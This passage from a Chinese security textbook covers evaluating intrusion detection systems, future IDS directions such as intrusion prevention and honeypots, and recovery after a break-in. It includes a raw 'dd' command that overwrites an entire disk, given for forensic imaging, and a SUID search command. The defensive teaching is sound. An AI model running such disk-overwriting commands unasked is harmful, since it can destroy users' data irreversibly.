“填充单元”采取另一种不同的方法。“填充单元”不试图用引诱性的数据吸引攻击者，它等待传统的IDS来监测攻击者，然后，攻击者被无缝地传递到一个特定的填充单元主机。攻击者不会意识到发生了什么事情，但是攻击者会处于一个模拟环境中而不会对系统造成任何伤害。与“蜜罐”相似，这种模拟环境会充满使人感兴趣的数据，从而会使攻击者相信攻击正按计划进行。“填充单元”为监测攻击者的行为提供了独特的机会。

以上的论述只是为了说明IDS需要协同，同时其他所有的安全工具也需要协同，这些工具和设备的很好的协同工作也许就是前面关于如何保障信息系统安全的一个答案。我们可以把所有这些协同工作的工具或者设备整体看做一个安全工具，至于是把这个系统称作综合型IDS或者其他的什么名字已经不重要了，关键是它可以保证我们的信息有相对的安全性。


6.1.8 入侵检测效果的评测


1.测试数据源

测试数据的来源有两种：标准测试数据和实际测试数据。标准测试数据就是在某种标准的信息源中预先得到并整理好的数据，使用标准测试数据的方法叫做后台测试方法。而实际测试数据是在检测的现场得到，采用实际测试数据的方法叫做在线测试方法。在线测试方法需要一个实验环境叫做测试实验床。这两种方法各有自己的优缺点。

使用标准测试数据是一种高效率、低成本的测试方法。只要一组标准数据，我们就可以重复地测试多个系统。如果测试数据整理得好，测试检测性能比较准确。这一点，实际上可以做到，因为标准数据只要做一次就可以给很多人共享。再加上这种方法与测试环境无关，所以测试的范围可以很广，并且很灵活。然而，这种方法的缺点就是测不出入侵检测系统的实际检测速度和各种临时问题，影响系统的鲁棒性等。

使用实际测试数据需要检测一个测试实验床，这使得测试的成本很高。测试的时候还要模拟出攻击的时间，这导致检测需要很多时间和精力，不但如此，还限制了很多检测范围，因为实验床可能模拟不出很多实际的攻击环境。这种方法的好处就是能够测出入侵检测系统在实际运行的时候遇到的问题，例如最高检测速率、鲁棒性等。

（1）标准测试数据

标准测试数据包括若干不同类型的攻击、入侵和正常事件的数据。每一条数据都被标注成为是哪种攻击的或者是正常的事件。测试的时候，入侵检测系统根据自己的检测算法，对每一条数据进行检测，再将检测出来的结果跟数据的标志比较，可以得出这次检测的结果是否正确。入侵检测系统通过标准数据可以计算出它的检测错误率、查全率、查准率，以及ROC曲线等统计性能。

标准数据应该从实际环境中得到（例如从某个大网络的出口监听）。在经过人工的仔细分析，得出哪些数据是攻击的，哪些不是攻击的。

标准数据应该随不同信息源而不同。基于网络的入侵检测系统所用的标准数据应该从网络流量中得到，基于主机的入侵检测系统应该从主机上的审计记录、日志文件等得到。

标准数据的分布应该符合实际。例如在网络标准数据的情况下，WWW协议，FTP协议和SMTP协议的数据应该比别的数据多一些。

标准数据还有一个用处就是用来训练异常检测系统的模型。我们在前面提过，异常检测技术要根据标准数据，建设一个正常（或者异常）或者分类模型，再通过这个模型去检测入侵。

建立标准测试数据库是一件很困难的事情。国际上有一个入侵检测系统的标准测试数据库放在MIT Lincoln 实验室（URL: http://www.ll.mit.edu/IST/ideval/index.html）。这个站点上提供国际认可的入侵检测系统的标准测试数据，使入侵检测系统的研究者节省了很多时间和精力。

（2）测试实验床

测试数据源的另一个来源就是测试实验床。这种测试方法把入侵检测系统放在一个实际的系统或者网络环境中，通过某种方法模拟攻击事件和正常的使用，测试入侵检测系统的检测性能。

测试实验床是一个很高成本的测试方法，因为实验床上需要多种不同的操作系统、各种不同的服务和不同的缺陷。在测试的时候，我们还要模拟出各种不同的攻击，这要求测试人员对网络安全有很高深的技术。这种测试方法限制了测试范围，因为测试实验床不可能提供所有缺陷环境和攻击类型，但是，这种测试方法有自己的优点，就是可以测出入侵检测系统的最高处理速度，另外还可以测出系统运行的种种临时问题。

测试实验床的一个重要技术就是仿真技术。由于测试实验床上不可能有在实际应用中那么多用户，所以它必须使用仿真技术，自己模拟出实际上遇到的各种现象，如多用户使用、高速率网络流量和各种模拟攻击等。

实验床的另一个意义就是给学习、研究和开发人员提供一个良好的工作环境。

图6.8是入侵检测系统测试实验床的一个例子。


图6.8 入侵检测系统测试实验床



测试实验床分为内部网和外部网两部分。这两个部分之间的连接是一台 Cisco 路由器。这样的安排比较符合实际，它允许我们测试入侵检测系统检测从外部网攻击内部网的事件和从内部网攻击内部网以及本地的攻击。

内部网具有四台不同操作系统的主机：Solaris、Windows NT、Linux 和 SunOS。这四种操作系统是目前因特网上最有代表性的，所以在这四种操作系统上可以安装绝大部分的常用软件及其缺陷，可以模拟各种常见的攻击和入侵。

该实验床用仿真技术模拟出内部服务器和外部服务器。由于服务器的主要性能体现在用户数目和网络流量上，所以必须用仿真技术实现这几点。一般来说，外部网的服务器的流量要比内部服务器的流量少。

内部网和外部网还提供网络监听、系统审计记录分析等辅助工具。

2.检测错误

在检测标准测试数据的时候，如果入侵检测系统的检测结果跟数据的标志不一样，那么入侵检测系统对这条数据的检测结果被认为是错误。检测错误可以有两种形式：第一，正常数据被入侵检测系统认为是攻击的；第二，攻击数据被入侵检测系统认为是正常的。第一种错误叫做虚警（False Positive），第二种错误叫做漏警（False Negative）。

在实际应用过程中，虚警（还被叫做误警）不会引起什么危害，因为事件本身是正常的。虚警（误警）的坏处可能就是浪费了安全管理员的一些阅读、检查的时间。反过来，漏警是一个很严重的错误。实际上，漏警就等于入侵事件没有被检测出来，对系统可能会引起很大的危害。

一般来说，如果一个系统的虚警越多，它的漏警就越少。反过来，如果虚警越少，漏警可能会越多。这是因为，虚警越多表示入侵检测系统对事件的警觉程度越高，这样，它忽略入侵的事件造成漏警的可能性就越小。从检测技术的角度来看，入侵检测系统对事件的警觉程度越高意味着检测算法对入侵事件的约束条件越宽松。从技术的角度，异常检测技术就有这个倾向。

如果虚警越少，表示入侵检测系统对事件的警觉程度越低，这样，它忽略入侵的事件的可能性就越大。从检测技术的角度来看，入侵检测系统对事件的警觉程度越低意味着检测算法对入侵事件的约束条件越紧。从技术的角度，误用检测技术就有这个倾向。所以，误用检测技术所造成的误警并不高，但很可能会漏掉一些入侵事件，特别是新的入侵类型。请注意，在很多误用检测系统（例如Snort）的误警率被认为很高，其实，这些并不都是误警，有的是实实在在的攻击现象，只不过攻击不成功而已。

（1）错误率

评测入侵检测系统的一个很重要的性能就是错误率。错误率越低，表示入侵检测系统的性能就越好。在测试过程中，入侵检测系统对标准测试数据进行检测。错误率就是检测错误次数占标准测试数据总数的比例：




一般来说，人们都认为错误率越低的入侵检测系统的性能就越好。同样的错误率，漏警越少，检测性能就越好。

（2）查准率

和错误率的概念一致的性能就是查准率。查准率就是检测正确的次数占标准测试数据总数的比例：




或者：

查准率=1 - 错误率

（3）查全率

错误率和查准率还不能很确切地表明系统把入侵事件给忽略掉的可能性。因为同样的错误率，如果漏警的比例越大，这样的入侵检测系统把入侵事件给忽略掉的可能性就越大。所以，除了错误率和查准率的性能以外，评测入侵检测系统的另一个重要性能就是能正确地检测出来的入侵事件占标准测试数据中包含的入侵事件总数的比例，这个性能叫做查全率：




（4）数值分析

为了简单易懂，我们用数值来表示测试的错误率、查全率等性能。

假设测试数据DATA中有N条数据，其中包括A条是攻击的数据，其余B条是正常的数据：

N=A+B

我们用标准测试数据DATA去测试入侵检测系统IDS。检测的结果为：

IDS在A条攻击的数据中，只检测出C条（C＜A），其余D（D=A - C）条攻击被认为是正常的。

IDS在B条正常的数据中，有E条（E＜B）被入侵检测系统认为是攻击事件，其余F（F=B - E）条正常数据被正常地识别出来。

那么：

标准测试数据总数=A+B

A=C+D

B=E+F

虚警(False Positive)=E

漏警(False Negative)=D

检测错误数目=D+E

错误率=[image: ]


正确率=1-错误率=[image: ]


查全率=[image: ]


（5）工作曲线（ROC曲线）

高查全率的入侵检测系统保证在实际应用中把入侵事件忽略掉（检测不出来）的可能性比较少，这意味着，它对入侵事件的约束条件定义得比较宽松（覆盖的范围比较广）。这样导致它检测的错误率会比较高，其中包括很多误警或者漏警。反过来，低查全率的入侵检测系统的错误率就比较低。

在选择入侵检测系统的时候，人们往往根据自己的安全目标而定。有的环境对攻击不是很敏感，就需要比较低的误警率。也有的环境对攻击比较敏感，就需要低错误率的入侵检测系统，而宁愿接受误警率较高的性能。例如：在检测垃圾邮件的系统中，人们要求自己信件被识别为垃圾邮件的概率尽可能低。每个人都宁愿收到 10 封垃圾邮件而不愿意丢失一封自己的邮件。


图6.9 入侵检测系统的工作曲线



对于一个入侵检测系统，查全率随错误率的变化而变化的曲线叫做入侵检测的工作曲线（ROC曲线），一般来说，查全率越高，则错误率就越高。所以入侵检测工作曲线一般都是上升曲线（查全率随着错误率增加而增加）。图6.9所示是两个不同的入侵检测系统的工作曲线的例子。

图中画出两个入侵检测系统IDS1和IDS2的工作曲线。可以看出这两条曲线都有一些共同点：

这两条曲线都是上升曲线，这表明随着错误率增加，查全率也增加。

当查全率为零的情况下，工作曲线有一段沿着横轴走（这是IDS1的OA1和IDS2的OA2段）。在这种情况下，查全率为零表示什么入侵都没有检测到。可是错误率并不为零，这表示检测出来的都是虚警（误警）。

随着错误率逐渐增加，查全率有很大幅度的增加，这时工作曲线看起来比较陡（这是IDS1的A1B1和IDS2的A2B2段）。在这种情况下，只要牺牲一点错误率（让错误率提高一点）就可以得到查全率很大的改善。这个时候，大部分常见的攻击都随着错误率增加而被检测出来，虚警（即误警）相对来说比较少。

如果错误率继续增加，查全率开始缓慢地上升。这时，工作曲线看起来比较平坦（这是IDS1的B1C1和IDS2的B2C2段）。在这种情况下，尽管错误率增加得很大，查全率也只有很小的改善。这个时候，基本上常见的攻击都已经全被检测出来了，有少数的新的攻击可能会被检测出来，所以虚警（即误警）相对来说也开始多起来。

不难看到这两个入侵检测系统的最佳工作点应该是B1和B2附近。

比较这两种入侵检测系统，在同样的错误率的任何情况下，第一个入侵检测系统的查全率比第二个入侵检测系统的查全率要高，所以第一个入侵检测系统的性能比第二个入侵检测系统的性能要好。

3.包装评测

除了上面提到的检测性能，对于一个商业产品来说，包装界面也是十分重要的。对于包装界面一般评测以下几个方面：

安装，升级，卸载过程

界面友好程度

帮助文档的编写

攻击事件的说明

响应选项

一般来说，包装的评测都是根据评测人和用户的主观决定。


6.1.9 入侵检测系统的未来


入侵检测系统是一个比较新的研究领域。除了系统自带的审计功能已经有几十年的发展历史，入侵检测系统的一些重要概念和基础都是在20世纪80年代末，90年代初才开始被提出来。此外，入侵检测系统的商业产品在90年代中期开始在市场上出现，作为网络安全产品中的一个重要类型。入侵检测系统是根据市场上的需求而发展起来，所以入侵检测技术的发展趋势也受市场需求的影响。

1.入侵检测系统有很大的市场前景

首先，入侵检测系统具有其他安全产品不具备的功能，所以它是系统安全策略中的不可缺少的一部分。也就是说，在信息网络扮演生活的重要角色的这个时代，入侵检测系统还会有很广阔的发展前景。

2.提高入侵检测的速度

入侵检测技术包括误用检测和异常检测两种。其中，误用检测技术已经发展得比较成熟，市场上的产品大部分都是以这个技术为基础。目前入侵检测产品的处理带宽不超过100Mbit/s，在速率超过 100Mbit/s 的网络环境下，入侵检测系统就运行不稳定，出现丢包现象，甚至会崩溃。这样的处理速度对目前的宽带信息网络的需求是远远不够的。所以，误用检测系统的一个必要发展方向就是提高处理速度。

3.硬件化

提高处理速度的一个方向就是从软件转移到硬件。误用检测的核心技术就是模式匹配，目前都用软件来实现。随着攻击的签名条目逐步增加，使入侵检测系统的处理速度出现一个瓶颈为100Mbit/s。如果误用检测的模式匹配部分可以用硬件来实现，那么入侵检测系统的处理速度可以大大提高。想象将来可以出现一些入侵检测芯片，只要在它的输入端输入一个事件的标准格式，它就能识别出该事件是否攻击事件。从软件转移到硬件虽然可以提高处理速度，但是它却失去了软件本身的好处，就是灵活性和可更新性，所以硬件化过程也应该把这些因素考虑在内。

4.专业化

提高处理速度的另一个方向就是减少攻击的签名条目。目前大部分入侵检测系统的签名条目都是很大，其中大部分都是很老很老的攻击的签名。这些老的攻击利用的缺陷已经很老了，现在的系统里边很多都不存在了。所以，去掉这些老的攻击签名不会影响入侵检测系统的查全度，而且还可以提高检测速度。

还有一个方向可以减少攻击的签名条目就是专业化检测。从用户的角度来看，没必要去检测所有的攻击，因为有的攻击用户明明知道不可能成功。例如用户的系统没有提供WWW服务，那么就没必要去检测有关 WWW 的攻击。反过来，如果系统只提供 WWW服务，那么用户只需要关心有关WWW服务的攻击即可。专业化的入侵检测系统不但能提高速度，而且还能提高检测的准确度。因为，同一类攻击的特性可能会比较相似，无论从理论还是实践上都是更容易处理的，所以，入侵检测系统的一个发展趋势就是走向专业化。基于应用程序的入侵检测系统就是这么发展起来的。

5.异常检测

和误用检测技术相比，异常检测技术还没有发展成熟。虽然异常检测具有一些误用检测所没有的功能，但异常检测的最大缺点就是错误率太高，就是因为这个原因，异常检测还没有应用在商业产品中。提高异常检测的准确度是入侵检测目前的研究热点。由于网络上的行为比较复杂，难以预测，所以提高异常检测的准确度是一个很困难的工作。但随着人门对网络行为有更深入的认识，异常检测技术可以解决准确度不高的问题。

走向专业化的入侵检测系统给异常检测开了一条新的路。因为同一种攻击类型，可能会有相同的行为。这样，用异常检测技术更能够准确地确定哪些事件是异常的，哪些事件是正常的。

异常检测作为误用检测的前段预处理将是将来很多入侵检测系统的选择方案。因为，误用检测的技术特点本身限制了入侵检测系统的处理速度，如果在误用检测的前段加上一个异常检测的模块，这个模块把高速率的数据进行过滤，只把攻击有关的数据交给误用检测处理。这样不但可以保持检测的准确度，而且可以提高检测速度。异常检测作入侵检测系统的前段预处理模块是异常检测技术的一个应用，也是入侵检测系统的一个发展方向。

6.人工智能的应用

很多人都说，网络安全本身是纯计算机技术的一门课。所以，搞网络安全的人一般都是学计算机专业出来的，而学计算机专业的人的思维总是对一些具体的、看得见、摸得着的东西感兴趣。误用检测之所以发展在先（和异常检测相比）可能就和这个问题有关。

随着人工智能在各个领域上得到广泛的应用，人工智能也将会在入侵检测领域上取得好的成果。实际上，目前研究人员也想出多种人工智能能够在入侵检测系统中的应用，例如神经网络、遗传算法、支持向量机等。异常检测技术将是人工智能最合适的应用之处。

入侵检测系统的智能化还有更深刻的意义。请想象攻击和检测的情况：攻击是由人去实现的，而且很多种情况是由很有经验的攻击者进行。而检测呢？入侵检测系统是一个计算机程序，计算机程序是由人写出来的。在这种人与机器斗争的战场上，人总是占上峰的！很多攻击者对入侵检测系统的技术相当了解，他有很多种办法可以绕过入侵检测而攻入系统。从这个意义来看，将来的入侵检测系统必须有一定的智能化。

目前在异常检测的人工智能应用过程中还有很多问题要解决，这就是将来入侵检测系统要发展的一个重要方向。

7.互连化

入侵检测系统的一个发展趋势是覆盖的范围越来越广。因为，因特网本身是一种跨国家的网络，攻击和入侵也常发生于两个不同的网络之间。为了检测以及处理这样的入侵，入侵检测系统必须向大规模的入侵检测系统发展。可是，因特网的另一个特点就是不同网络可能会属于不同的机构管理，由于安全的原因，不同机构之间的访问权限肯定会有限制，导致一个入侵检测系统需要在跨机构、跨公司或者跨国家的因特网环境下完成检测和处理攻击的功能，因此，入侵检测系统之间必须合作，叫做入侵检测系统的互连。

入侵检测系统的互连是入侵检测系统发展的必要方向。因为它符合于因特网的成功因素（因特网的一个成功因素是网络之间的可互连性）。由于在现在的因特网中，网络和网络之间的互连通过网络管理系统操作，而且网络管理系统已经有一套完整的运行机制。所以如果能够实现入侵检测系统之间的互连时，入侵检测系统可能会被集成在网络管理系统里边，作为网络管理系统的一个重要功能。

8.入侵防护

正如复杂的家庭安全系统可能包括摄像机、探测器及监控设备监视室内的可疑活动，譬如有人未经许可擅自闯入，入侵检测系统（IDS）也会警告IT系统管理员网络环境边界内部的潜在安全危险。与被更为广泛的IT安全规划吸纳的其他传统安全技术一样，入侵检测系统在过去五年已日益成为安全解决方案的一个必要条件。

然而，入侵检测技术的问题在于，它们与其他传统安全技术存在同样的严重缺陷：反应被动。这类战略性系统考虑再怎么周到，无论独立实施还是结合其他技术实施，经常发生的一系列安全攻击也一再表明：存在的缺口可能会导致网络资源受到破坏而瘫痪。

基于网络和基于主机的入侵检测系统都普遍存在几个弱点。首先，总的说来不能适应庞大、高速、复杂的网络。其次，实施及监控这类系统时会给IT人员增添管理负担。另外，传统的IDS技术实际上会给网络和用户活动带来障碍，这就影响了性能，最终导致不应有的管理负担和沮丧情绪。

尽管安全人员尽了最大努力，企业内部计算资源还是每天在遭受入侵。攻击的扩散同访问网上其他资源的速度一样快。就这一点而言，以应用为中心的入侵预防为保护如今庞大的网络及企业环境提供了一种新的方案。入侵预防技术是任何采取主动措施的安全模式的核心所在，而这类方案因而获得的优点注重应用程序和操作系统安全性和资源可用性。此外，入侵预防安全环境下的行为实施策略对不断发展的攻击采取了整体分析的方案。结果就是，基于应用行为的主动防御机制能防止重要的文件和网络资产受到破坏。

入侵预防软件与传统入侵检测产品的不同之处在于，前者实际上能预防攻击，而不仅仅是监测出现的攻击。正如前文所述，当前的入侵检测软件都是反应式的—通常是扫描配置存在的弱点、攻击发生后才发现攻击。防病毒厂商和入侵检测厂商常常会“随时待命”，对攻击事件迅速作出响应。但到这时候，攻击通常已经生效，网络或桌面系统因而陷入瘫痪。入侵预防安全架构则充当下一代网络安全软件，它能积极主动地加强桌面系统和服务器的安全，防止受到基于特征扫描的技术所无法发现的网络攻击的破坏。

入侵预防之所以有着重大优势，正是因为它减轻了企业安全管理的负担。不同于传统入侵检测产品，入侵预防实际上通过下列方式来保护内部资源免受来自网络内部的攻击：限制可能具有破坏性的代码的行为又不妨碍业务经营、提供攻击记录以及一旦击退攻击就通知企业安全人员。此外，高性能级别入侵预防技术能够击退基于网络的攻击，譬如拒绝服务、探测、畸形数据包及敌意连接攻击。

为了对计算资源提供全面真正有效的保护，网络安全管理人员就不能单单依靠发现已知攻击或及其变化形式。入侵预防的新方法定义了适当行为，然后在企业内部每个最终用户的桌面系统、网络服务器上实施这些行为。那什么是正当行为呢？我们不必浏览本文内容就知道：倘若某用户收到一封电子邮件，立即企图把邮件发送给用户地址簿上所列的每个联系人，那么这就不是正当行为。同样，倘若来自Web浏览器、邮件软件或微软Office程序组的进程企图写入到Windows NT系统文件，这也不是正当行为。确切地说，这极可能是一种宏病毒。入侵预防就是采用这种方式监控系统和应用的行为，并且定义哪些行为是正当的、哪些行为是可疑的，这样一旦企图作出超乎预期行为范围的举动，入侵预防技术会先发制人地消除不当的系统行为。

只要设定规则以控制应用程序能够对安装了入侵预防系统的文件、网络和系统资源执行哪些行为，这种高性能入侵预防系统就能使IT管理员受益匪浅。作为一种智能代理，入侵预防系统会不动声色地运行：截获系统行为、核查政策，然后根据这些政策的规定允许或拒绝有关行为。此外，一些高度结构化的入侵预防系统还能提供预先设定的规则，以保护Web服务器、邮件服务器及提供一般的最终用户桌面保护。

最后，统计日志数据可用来生成表明网络整体运行状况的报告。如果利用这种报告，IT人员就能监控当前规则集（rule set）的工作情况，必要的话可以进行调整。每当发现有人企图访问受限系统资源的特定行为，这种行为就会被记入日志。

入侵检测系统结合漏洞评估工具是攻击出现后对其进行审查及辨析的理想工具，可是这类系统无法预防破坏。为了更清楚地了解入侵预防如何比传统IDS更进一步从而实际上预防攻击造成的破坏，不妨看一下特洛伊木马攻击。

表面上来看，特洛伊木马攻击似乎没有危害—它就像一种有用的后台进程。然而，这类攻击通常隐藏破坏性程序，可能其目的在于最终破坏或改动文件，或者可能是建立后门入口点，以便入侵者访问系统。基于网络的IDS发现不了文件里面所隐藏的攻击。基于主机的IDS 系统也许能分析审查和事件日志，查找可能表明未授权访问企图的证据，但携带伪装成“安全”信息的恶性代码的授权访问企图则有可能溜掉。

在防范特洛伊木马方面，入侵预防要比IDS进一步：它能发现系统当中的不寻常行为，然后在入侵实施之前加以实时封阻。例如，IT 人员能够发现及联系应用行为，如导致 Web服务器缓冲器溢出以便入侵者潜入网络、映射其他可执行文件的内存以窃取机密、连接键盘截获输入字符、修改现有的可执行文件以隐藏恶性代码、访问http端口伪装成合法的Web程序，所有这些行为无不表明特洛伊木马攻击的存在。

预防电子商务应用或网站内容遭到实际破坏对保护如今的开放网络来说至关重要。对面临攻击需要主动预防的安全措施以应对环境的那些人而言，现有的入侵预防技术起到了一项合乎实际的替代策略的作用。

9.标准化

互连本身的意义就是交换信息。如果入侵检测系统要互连时，它们之间要交换的信息是什么？第一，交换攻击事件的数据；第二，共享技术，资源。攻击事件的交换让入侵检测系统可以互相协助，一起分析和处理跨网络、跨机构和跨国家的攻击事件。技术和资源共享节省了网络整体的资源。入侵检测系统之间可以共享一个攻击签名库，这样不但节省了整个网络的资源，还使更新和维护过程更加方便。

目前，入侵检测系统的发展处于比较封闭的状态。每个厂家，每个研究机构都有自己的技术和产品。为了不同厂家、机构的入侵检测系统之间可以互连，必须有两套标准：数据格式和通信协议。数据格式标准就是攻击（入侵）数据的标准格式、攻击签名的标准描述等。通信标准协议允许这些标准数据可以互相交换。入侵检测系统之间的通信要求可靠性和保密性很强，这样才能使入侵检测本身和通信不被攻击者破坏。

研究入侵检测系统的数据标准格式和通信协议是入侵检测系统的一个发展方向。

10.与法律结合

很多专家认为，入侵的防范离不开法律。目前之所以发生这么多入侵事件，是因为网络上没有法律。攻击尽管被检测到，但是没有一个有法律支持的有效证据控诉攻击者。入侵检测系统的标准化会解决这个问题。

11.蜜罐技术（Honey Pot）

蜜罐技术是入侵检测系统的一个重要发展方向。蜜罐技术就是建立一个虚假的网络，诱惑攻击者攻击这个虚假的网络，从而达到保护真正网络的目的。蜜罐对系统安全起了三方面的作用：

（1）诱惑攻击者攻击虚假的网络而忽略真正的网络。

（2）收集攻击者信息和企图，帮助系统的安全防护和检测、响应。

（3）消耗攻击者的精力，让系统管理员有足够的时间去响应。

蜜罐技术的基本思想是怎么建立一个虚假的网络。为了实现这个思想，目前已有一些研究。

网络空间仿真就是使用有限的资源，模仿一个大网络空间。增加网络搜索空间就是增加攻击者的工作量。利用计算机的多宿主能力（multi-home），只要使用一块以太网卡可以模仿很多IP地址，而且每个IP地址都有自己的MAC地址。现在的技术允许将4000个IP地址绑定在一台运行Linux的PC上。如果把网络服务放在这些IP地址上显然是增加了攻击者的工作量。光用扫描攻击扫完这么多IP地址也要花相当多的时间，而且攻击者还要区分哪些服务是真的，哪些是假的。可见，这个技术的费用极低，但是能取得很好的效果。

目前的IPv4地址已经分配得差不多了。用大量的IP去实现一个虚假网络显然是一种浪费。地址转换技术给网络空间仿真开辟了一条生路。地址转换技术允许内部网使用IPv4保留的IP地址，如192.168.*.*，这就相当于有B 类网这么大的一个地址空间。在这个地址空间上实现网络空间仿真是完全可行的。


6.2 紧急响应与恢复


在系统被入侵之后，就要面临系统的恢复过程。系统的恢复过程中，通常需要解决两个问题：一是被入侵所造成的影响评估和系统的重建，二是恰当的外部措施的采取。其中外部措施的采取，又直接与评估和重建过程中所形成的结论相关，因此我们将重点介绍入侵所造成的影响评估和系统重建过程。


6.2.1 系统恢复


在系统恢复的过程中，应当注意的是，所有步骤都应该与组织的网络安全策略中所描述的相符。如果安全策略中没有描述如何进行系统的恢复，那么可以先和管理人员协商，与管理人员协商的好处在于，当管理人员得知系统被入侵后后，可以从更高的角度判别出这一入侵事件的重要性，从而系统的恢复过程可以得到更多部门的支持和配合。另外一个重要的用处在于，组织可以因此决定是否进行法律相关的调查，系统在被入侵后，是否要进行法律调查诉讼、与媒体的关系是两个需要重视的外部关系问题。

1.切断被入侵系统的入侵者访问途径

为了夺回对被侵入系统的控制权，首先需要避免入侵者造成更严重的破坏。如果在恢复过程中，没有断开被侵入系统的入侵者访问途径，在恢复的过程中，入侵者就可能破坏恢复工作。曾经发生过这样的事情，在恢复过程中，系统管理员发现自己所进行的修改完全没有起到预想中的作用，事后才发现当自己修改配置的时候，入侵者同时也在进行操作。切断入侵系统的入侵者访问途径，可以有多种选择。如果入侵者来自于网络，可以将其从网络上断开。如果可以确认入侵者来自于外部网络，那么可以在边界防火墙上面进行恰当的设置，以确保入侵者无法再进行访问。断开以后，可以进入UNIX系统的单用户模式或者NT的本地管理者（local administrator）模式进行操作，以夺回系统控制权。不过，这样做的代价是，可能会丢失一些有用的信息，比如说入侵者正在运行的扫描进程或监听进程。另外，如果决定要追踪入侵者，那么也可以不采取这些措施，以避免被入侵者察觉，但是这时应当采取其他措施保护那些内部网络尚未被入侵的机器，以避免入侵的蔓延。

在对系统进行恢复的过程中，如果系统处于UNIX单用户模式下，会阻止用户、入侵者和入侵进程对系统的访问或者对主机的运行状态的意外改变。

2.复制一份被侵入系统

在进行入侵分析之前，最好先备份被侵入的系统，这些原始的数据和记录，会起到很多的重要作用。如果将来决定进行法律诉讼，那么这些数据也将会成为有力的证据。在必要的时候，可以将这些数据保存为档案。可以使用UNIX命令dd将被侵入系统复制到另外一个硬盘。

例如，在一个有两个SCSI硬盘的Linux系统中，以下命令将在相同大小和类型的备份硬盘（/dev/sdb）上复制被侵入系统（在/dev/sda盘上）的一个拷贝：


    # dd if=/dev/sda of=/dev/sdb


还有一些其他的方法备份被侵入的系统。在NT系统中没有类似于dd的内置命令，但可以使用一些第三方的程序复制被侵入系统的整个硬盘。

在记录下备份的卷标、标志和日期后，将之保存到一个安全的地方以避免损坏。

3.入侵途径分析

入侵途径分析，重要的在于分析入侵者提升自己权限的手段。否则，即使重新安装了系统，也无法保证系统会是安全的。入侵途径的分析，还有助于发现入侵者留下的后门和对系统的改动。这些信息对于评估系统的受损程度，有着重要的意义。

首先，应该对被入侵的系统进行全面的风险评估。进行全面的风险评估，不仅可以帮助发现入侵者的进入途径，而且也有助于发现入侵者所使用的工具和遗留物。全面的风险评估，还可以帮助管理员明确该系统所面临的其他安全风险，尽管这些问题在本次入侵中也许没有用到，但是并不表明将来不会。

在进行风险评估后，通常会找到最具有可能性的几个入侵途径。这时，需要结合系统情况来发现入侵者进入的途径。有几个方面的数据比较重要，分别是日志文件、显示器输出以及新增的文件。日志文件是发现入侵者最有力的工具，很多入侵程序都利用了系统或服务程序运行时的异常情况，这些异常情况往往会留下一些记录。有的时候，聪明的入侵者会把这些记录抹去，但是显示器上的输出，却仍然留了下来。另外，入侵者所留下的文件有时也可以显示出他所使用的攻击手段。最后，部署在系统之外的入侵检测系统和防火墙，能够提供最可信的证据。

详细地审查系统日志文件，有助于了解系统是如何被侵入的，入侵过程中，攻击者执行了哪些操作，以及哪些远程主机访问了这一系统。通过这些信息，可以对入侵有更加清晰的认识。对于UNIX系统，可以查看/etc/syslog.conf文件确定日志信息文件在哪些位置。NT或者Windows 2000通常使用三个日志文件，记录所有的NT事件，每个NT事件都会被记录到其中的一个文件中，可以使用Event Viewer查看日志文件。其他一些NT应用程序可能会把自己的日志放到其他的地方，例如ISS服务器默认的日志目录是c:\winnt\system32\logfiles。

以下是一个通常使用的UNIX系统日志文件列表。由于系统配置的不同，它们在系统中的位置可能有所不同。

messages：messages日志文件保存了大量的信息。可以从这个文件中发现异常信息，检查入侵过程中发生了哪些事情。

xferlog：如果被侵入系统提供FTP服务，xferlog文件就会记录下所有的FTP传输。这些信息可以帮助确定入侵者向系统上载了哪些工具，以及从系统下载了哪些东西。

utmp：保存当前登录每个用户的信息，使用二进制格式。这个文件只能确定当前登录用户。使用who命令可以读出其中的信息。

wtmp：每次用户成功地登录、退出以及系统重启，都会在 wtmp 文件中留下记录。这个文件也使用二进制格式，需要使用工具程序从中获取有用的信息。last 就是一个这样的工具。它输出一个表，包括用户名、登录时间、发起连接的主机名等信息。检查在这个文件中记录的可疑连接，有助于确定牵扯到这起入侵事件的主机，并找出系统中的可能被侵入的账号。

secure：某些版本的UNIX系统（例如，RedHat Linux）会将tcp_wrappers信息记录到secure文件中。如果系统的inetd使用tcp_wrappers，每当有连接请求超出了inetd提供的服务范围，就会在这个文件中加入一条日志信息。通过检查这个日志文件，可以发现一些异常服务请求，或者从陌生的主机发起的连接。

审查日志，最基本的一条就是检查异常现象。

很多入侵者会把所有相关的日志记录全部抹掉，这时，如果系统外部运行有入侵检测系统和防火墙，则往往可以提供更宝贵的信息。好的入侵检测系统不仅可以发现有什么样的攻击，还可以判断出这一攻击是否已经成功。而且，入侵者在入侵前所运行的扫描软件，一般也可以被入侵检测系统检测出。检查入侵检测系统，通常就足以发现有关此次入侵途径的足够的信息。

除了这些方法之外，对入侵者遗留物的分析也是一个发现线索的重要内容。由于遗留物的分析，还关系到后门的清除，因此我们在下一部分中详细介绍。

4.遗留物分析

（1）检查入侵者对系统软件和配置文件的修改

①校验系统中所有的二进制文件

在检查入侵者对系统软件和配置文件的修改时，一定要记住：所使用的校验工具本身可能已经被修改过，操作系统的内核也有可能被修改了，这在目前来说，已经越来越普遍了。因此，建议用一个可信的内核启动系统，然后使用一个静态连接的干净的系统来进行检查。对于UNIX系统，可以通过建立一个启动盘，然后对其写保护来获得一个可信的操作系统内核。

彻底检查所有的系统二进制文件往往是十分必要的，可以把它们与原始发布介质（例如光盘）做比较，以确保攻击者没有在系统中安装特洛伊木马。有关UNIX下常见后门的情况，可以参考下一部分。

在 NT 系统上，特洛伊木马通常会传播病毒，或者所谓的“远程管理程序”，例如 Back Orifice和NetBus，特洛伊木马会取代处理网络连接的一些系统文件。

目前，由于一些工具的流行，一些木马程序具有和原始二进制文件相同的时间戳和 sum校验值，通过简单的校验和无法判断文件是否被修改。因此，通常可以采用两种方法进行比较，一种是可以使用cmp程序直接把系统中的二进制文件和原始发布介质上对应的文件进行比较，另外一种则是比较二者的MD5校验值。

②校验系统配置文件

在UNIX系统中，应该进行如下检查：

检查/etc/passwd文件中是否有可疑的用户。

检查/etc/inet.conf文件是否被修改过。

如果系统允许使用r命令，例如rlogin、rsh、rexec，则需要检查/etc/hosts.equiv或者.rhosts文件。

检查新的SUID和SGID文件。下面命令会打印出系统中的所有SUID和SGID文件：

#find / ( -perm -004000 -o -perm -002000 ) -type f -print

对于NT，通常需要进行如下检查：

检查不成对的用户和组成员。

检查启动登录或者服务的程序的注册表入口是否被修改。

检查“net share”命令和服务器管理工具共有的非验证隐藏文件。

检查pulist.ext程序无法识别的进程。

（2）检查被修改的数据

